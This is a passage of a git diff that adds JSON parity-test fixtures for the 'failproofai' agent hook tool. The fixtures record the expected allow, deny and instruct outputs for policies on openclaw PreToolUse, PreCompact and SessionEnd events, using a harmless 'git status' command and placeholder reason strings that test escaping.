from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ce25e445 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5d8fb22e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..81a2a7e6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5044a8f5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ad5f0766 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bc4bfb1d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..64b7ce41 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fe3b93eb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..fbd00922 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4f7f4508 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..37a110e7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..cd2c28c6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..964f4b16 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2b442a45 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3f36278c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1e8e913e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b7ef12e7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..67b9097b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + 